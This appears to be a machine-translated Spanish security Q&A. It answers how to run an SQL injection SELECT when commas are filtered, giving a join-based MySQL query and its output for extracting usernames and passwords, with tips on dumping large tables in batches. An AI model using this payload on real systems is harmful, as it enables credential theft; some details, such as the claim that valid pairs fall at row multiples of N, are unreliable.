Estoy probando SQLi y la coma se filtró allí. ¿Cómo hacer SELECCIONAR la solicitud de SQL sin una coma?
Supongamos que necesita recuperar las columnas USERNAME,PASSWORD
de USERTABLE
.
En este ejemplo, el USERTABLE
tiene datos como se muestra a continuación
mysql> SELECT * FROM USERTABLE;
+----------+------------+
| USERNAME | PASSWORD |
+----------+------------+
| ALICE | ALICEPASS |
| BOB | BOBPASS |
| ALICE2 | ALICE2PASS |
| BOB2 | BOB2PASS |
+----------+------------+
4 rows in set (0.00 sec)
Ahora el SQL sin una coma (,) para recuperar el nombre de usuario y la contraseña puede ser como abajo a continuación
SELECT * FROM (SELECT USERNAME FROM USERTABLE WHERE USERNAME>"A" AND USERNAME<"B")UT1 JOIN (SELECT PASSWORD FROM USERTABLE WHERE USERNAME>"A" AND USERNAME<"B")UT2 ON UT1.USERNAME=UT2.PASSWORD OR 1=1
La salida es la siguiente
mysql> SELECT * FROM (SELECT USERNAME FROM USERTABLE WHERE USERNAME<"B")UT1 JOIN
(SELECT PASSWORD FROM USERTABLE WHERE USERNAME<"B")UT2 ON UT1.USERNAME=UT2.PAS
SWORD OR 1=1;
+----------+------------+
| USERNAME | PASSWORD |
+----------+------------+
| ALICE | ALICEPASS |
| ALICE2 | ALICEPASS |
| ALICE | ALICE2PASS |
| ALICE2 | ALICE2PASS |
+----------+------------+
4 rows in set (0.00 sec)
Debes cuidadosamente poner los filtros en FROM USERTABLE WHERE USERNAME<"B"
.
Si coloca algo como FROM USERTABLE WHERE USERNAME<"Z"
, probablemente cuelgue el servidor SQL debido a una gran unión.
Solo para mencionar que si cree que la base de datos es muy grande, pula sus filtros como USERNAME>"AA" AND USERNAME<"AF"
para que se pueda operar un pequeño conjunto de datos y sea rápido. En la siguiente iteración puede usar USERNAME>"AF" AND USERNAME<"AL"
y así sucesivamente.
Y observe que tiene las combinaciones CROSSJOIN de nombres de usuario y contraseñas.
Obtendrá N X N
filas. Y puede considerar filas en múltiplos de N como N,2N,3N
etc. para una combinación válida de nombres de usuario y contraseñas al menos en el caso de Mysql.
Para algún otro software de base de datos puede ser que necesites probar todas las combinaciones de USERNAME,PASSWORD
que has recuperado.
Lea otras preguntas en las etiquetas sql-injection databases